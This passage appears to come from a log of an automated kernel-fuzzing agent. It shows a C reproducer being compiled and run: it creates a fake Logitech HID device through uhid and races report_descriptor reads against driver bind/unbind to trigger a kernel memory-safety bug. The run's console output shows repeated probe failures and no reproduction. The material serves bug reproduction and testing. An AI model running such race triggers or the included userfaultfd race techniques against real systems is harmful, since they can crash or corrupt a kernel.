ev.u.create2.product = 0xc293;
if (write(uhid_fd, &ev, sizeof(ev)) < 0) {
printf("[-] write uhid failed: %s\n", strerror(errno));
exit(1);
}
printf("[+] Created uhid device\n");
}
void find_dev_name() {
DIR *dir = opendir("/sys/bus/hid/devices");
if (!dir) return;
struct dirent *ent;
while ((ent = readdir(dir)) != NULL) {
if (strstr(ent->d_name, "0003:046D:C293")) {
strcpy(dev_name, ent->d_name);
break;
}
}
closedir(dir);
}
void* read_thread(void* arg) {
PIN_TO_CPU(0);
int fd = *(int*)arg;
char buf[256];
while (!stop) {
pread(fd, buf, sizeof(buf), 0);
}
return NULL;
}
void* bind_thread(void* arg) {
PIN_TO_CPU(1);
int bind_fd = ((int*)arg)[0];
int unbind_fd = ((int*)arg)[1];
int len = strlen(dev_name);
while (!stop) {
write(unbind_fd, dev_name, len);
write(bind_fd, dev_name, len);
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
create_uhid();
for (int i = 0; i < 50; i++) {
find_dev_name();
if (dev_name[0] != '\0') break;
usleep(100000);
}
if (dev_name[0] == '\0') {
printf("[-] Device not found. Is uhid enabled?\n");
return 1;
}
printf("[+] Found device: %s\n", dev_name);
char path[512];
snprintf(path, sizeof(path), "/sys/bus/hid/devices/%s/report_descriptor", dev_name);
int fd = -1;
for (int i = 0; i < 50; i++) {
fd = open(path, O_RDONLY);
if (fd >= 0) break;
usleep(100000);
}
if (fd < 0) {
printf("[-] open report_descriptor failed: %s\n", strerror(errno));
return 1;
}
printf("[+] Opened report_descriptor\n");
int bind_fd = open("/sys/bus/hid/drivers/logitech/bind", O_WRONLY);
int unbind_fd = open("/sys/bus/hid/drivers/logitech/unbind", O_WRONLY);
if (bind_fd < 0 || unbind_fd < 0) {
printf("[-] open bind/unbind failed: %s (is hid-logitech loaded?)\n", strerror(errno));
return 1;
}
printf("[+] Opened bind/unbind files\n");
int fds[2] = {bind_fd, unbind_fd};
pthread_t t1, t2;
pthread_create(&t1, NULL, read_thread, &fd);
pthread_create(&t2, NULL, bind_thread, fds);
printf("[+] Racing for 5 seconds...\n");
sleep(5); // Allow time for the race to trigger KASAN
stop = 1;
pthread_join(t1, NULL);
pthread_join(t2, NULL);
close(fd);
close(bind_fd);
close(unbind_fd);
struct uhid_event ev = {0};
ev.type = UHID_DESTROY;
write(uhid_fd, &ev, sizeof(ev));
close(uhid_fd);
printf("[+] Done\n");
return 0;
}
]
|
| 129/5 |
2026/05/19 10:12 |
action |
compile-c-prog |
0m
Results: map[CompilerError: FormattedReproC:#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <dirent.h>
#include <errno.h>
#include <linux/uhid.h>
// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.
// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"
// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <unistd.h>
// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)
// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu) \
do { \
cpu_set_t mask; \
CPU_ZERO(&mask); \
CPU_SET(cpu, &mask); \
if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
perror("sched_setaffinity"); \
} \
} while (0)
// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)
// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val) \
do { \
while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
; \
} while (0)
// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)
// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
fprintf(stderr, "event already set\n");
exit(1);
}
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
return -1;
struct uffdio_api api = {.api = UFFD_API, .features = 0};
if (ioctl(uffd, UFFDIO_API, &api) == -1) {
close(uffd);
return -1;
}
struct uffdio_register reg = {
.range = {.start = (uintptr_t)addr, .len = len},
.mode = UFFDIO_REGISTER_MODE_MISSING};
if (ioctl(uffd, UFFDIO_REGISTER, ®) == -1) {
close(uffd);
return -1;
}
return uffd;
}
// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
// pause a thread accessing that memory until you handle the fault, creating a reliable
// and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
// immediately. This is essential for understanding the exact interleaving of events
// when debugging race conditions.
int uhid_fd;
char dev_name[256];
volatile int stop = 0;
void create_uhid() {
uhid_fd = open("/dev/uhid", O_RDWR);
if (uhid_fd < 0) {
printf("[-] open uhid failed: %s\n", strerror(errno));
exit(1);
}
printf("[+] Opened /dev/uhid\n");
struct uhid_event ev = {0};
ev.type = UHID_CREATE2;
strcpy((char*)ev.u.create2.name, "test-uhid");
ev.u.create2.rd_size = 85; // FFG_RDESC_ORIG_SIZE
ev.u.create2.bus = 3; // BUS_USB
ev.u.create2.vendor = 0x046d;
ev.u.create2.product = 0xc293;
if (write(uhid_fd, &ev, sizeof(ev)) < 0) {
printf("[-] write uhid failed: %s\n", strerror(errno));
exit(1);
}
printf("[+] Created uhid device\n");
}
void find_dev_name() {
DIR *dir = opendir("/sys/bus/hid/devices");
if (!dir) return;
struct dirent *ent;
while ((ent = readdir(dir)) != NULL) {
if (strstr(ent->d_name, "0003:046D:C293")) {
strcpy(dev_name, ent->d_name);
break;
}
}
closedir(dir);
}
void* read_thread(void* arg) {
PIN_TO_CPU(0);
int fd = *(int*)arg;
char buf[256];
while (!stop) {
pread(fd, buf, sizeof(buf), 0);
}
return NULL;
}
void* bind_thread(void* arg) {
PIN_TO_CPU(1);
int bind_fd = ((int*)arg)[0];
int unbind_fd = ((int*)arg)[1];
int len = strlen(dev_name);
while (!stop) {
write(unbind_fd, dev_name, len);
write(bind_fd, dev_name, len);
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
create_uhid();
for (int i = 0; i < 50; i++) {
find_dev_name();
if (dev_name[0] != '\0') break;
usleep(100000);
}
if (dev_name[0] == '\0') {
printf("[-] Device not found. Is uhid enabled?\n");
return 1;
}
printf("[+] Found device: %s\n", dev_name);
char path[512];
snprintf(path, sizeof(path), "/sys/bus/hid/devices/%s/report_descriptor", dev_name);
int fd = -1;
for (int i = 0; i < 50; i++) {
fd = open(path, O_RDONLY);
if (fd >= 0) break;
usleep(100000);
}
if (fd < 0) {
printf("[-] open report_descriptor failed: %s\n", strerror(errno));
return 1;
}
printf("[+] Opened report_descriptor\n");
int bind_fd = open("/sys/bus/hid/drivers/logitech/bind", O_WRONLY);
int unbind_fd = open("/sys/bus/hid/drivers/logitech/unbind", O_WRONLY);
if (bind_fd < 0 || unbind_fd < 0) {
printf("[-] open bind/unbind failed: %s (is hid-logitech loaded?)\n", strerror(errno));
return 1;
}
printf("[+] Opened bind/unbind files\n");
int fds[2] = {bind_fd, unbind_fd};
pthread_t t1, t2;
pthread_create(&t1, NULL, read_thread, &fd);
pthread_create(&t2, NULL, bind_thread, fds);
printf("[+] Racing for 5 seconds...\n");
sleep(5); // Allow time for the race to trigger KASAN
stop = 1;
pthread_join(t1, NULL);
pthread_join(t2, NULL);
close(fd);
close(bind_fd);
close(unbind_fd);
struct uhid_event ev = {0};
ev.type = UHID_DESTROY;
write(uhid_fd, &ev, sizeof(ev));
close(uhid_fd);
printf("[+] Done\n");
return 0;
}
]
|
| 130/3 |
2026/05/19 10:12 |
action |
run-c-repro |
3m
Results: map[CandidateBugTitle: CandidateCrashReport: CandidateReproduced:false ConsoleOutput:Warning: Permanently added '[localhost]:43673' (ED25519) to the list of known hosts.
[+] Opened /dev/uhid
[+] Created uhid device
[+] Found device: 0003:046D:C293.0001
[+] Opened report_descriptor
[+] Opened bind/unbind files
[+] Racing for 5 seconds...
[ 70.390243][ T5714] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.401144][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.408120][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.411440][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.415033][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.418740][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.421975][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.425333][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.429056][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.432422][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.435630][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.439029][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.442204][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.445407][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.449013][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.452229][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.455492][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.459421][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.462990][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.466417][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.471277][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.475435][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.479230][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.482530][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.485735][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.489230][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.492932][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.496361][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.499960][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.503412][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.506670][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.510884][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.514088][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.517249][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.520688][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.523924][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.527051][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.530730][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.534066][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.537319][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.544390][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.548402][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.551646][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.554873][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.558308][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.561494][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.564632][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.570388][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.573664][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.577040][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.581148][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.588054][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.595900][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.601283][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.609802][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.618963][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.623990][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.638074][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.641520][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.644899][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.649387][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.652963][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.656579][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.668563][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.672040][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.675537][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.685214][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.701529][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.705153][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.710046][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.719345][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.724515][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.738397][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.742516][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.745623][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.750767][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.755046][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.764496][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.772697][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.775922][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.780388][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.786997][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.791789][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.795397][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.799008][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.802760][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.806156][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.809714][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.813071][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.816440][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.820167][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.823568][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.836913][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.841033][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.845505][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.858358][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.864443][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.878191][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.881670][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.884977][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.893229][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.896772][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.902587][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.905939][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.910612][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.914130][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.917409][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.921605][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.924967][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.929896][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.933375][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.936702][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.941916][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.945245][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.949052][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.952348][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.955504][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.960283][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.963632][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.966782][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.970496][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.973690][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.976951][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.980533][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.983989][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.987169][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.990684][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.993911][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 70.997230][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.000994][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.004186][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.007484][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.012185][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.018169][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.024180][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.027381][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.031515][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.036935][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.044110][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.050630][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.059846][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.068064][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.072824][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.079929][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.083165][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.086489][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.090043][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.093454][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.101166][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.104533][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.107679][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.111161][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.114648][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.119769][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.123086][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.126242][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.131875][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.135085][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.139118][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.142653][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.147413][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.152089][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.155524][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.159132][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.162439][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.165552][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.169490][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.172806][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.175949][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.180053][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.183485][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.186887][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.190890][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.195996][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.200319][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.203710][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.207176][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.211586][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.215363][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.219394][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.222972][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.226470][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.232930][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.237551][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.241823][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.248354][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.251932][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.255215][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.258803][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.262189][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.265441][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.269467][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.278330][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.284947][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.289222][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.292630][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.295882][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.300743][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.303719][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.306638][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.309885][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.312820][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.315811][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.325871][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.329106][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.339034][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.341974][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.344846][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.361301][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.364484][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.367425][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.372124][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.375080][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.388097][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.390986][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.393882][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.396741][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.406666][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.410434][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.422306][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.426739][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.438033][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.441065][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.443927][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.446797][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.452136][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.455087][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.458996][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.462104][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.465038][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
[ 71.470153][ T5874] logitech 0003:046D:C293.0001: probe with driver logitech failed with error -22
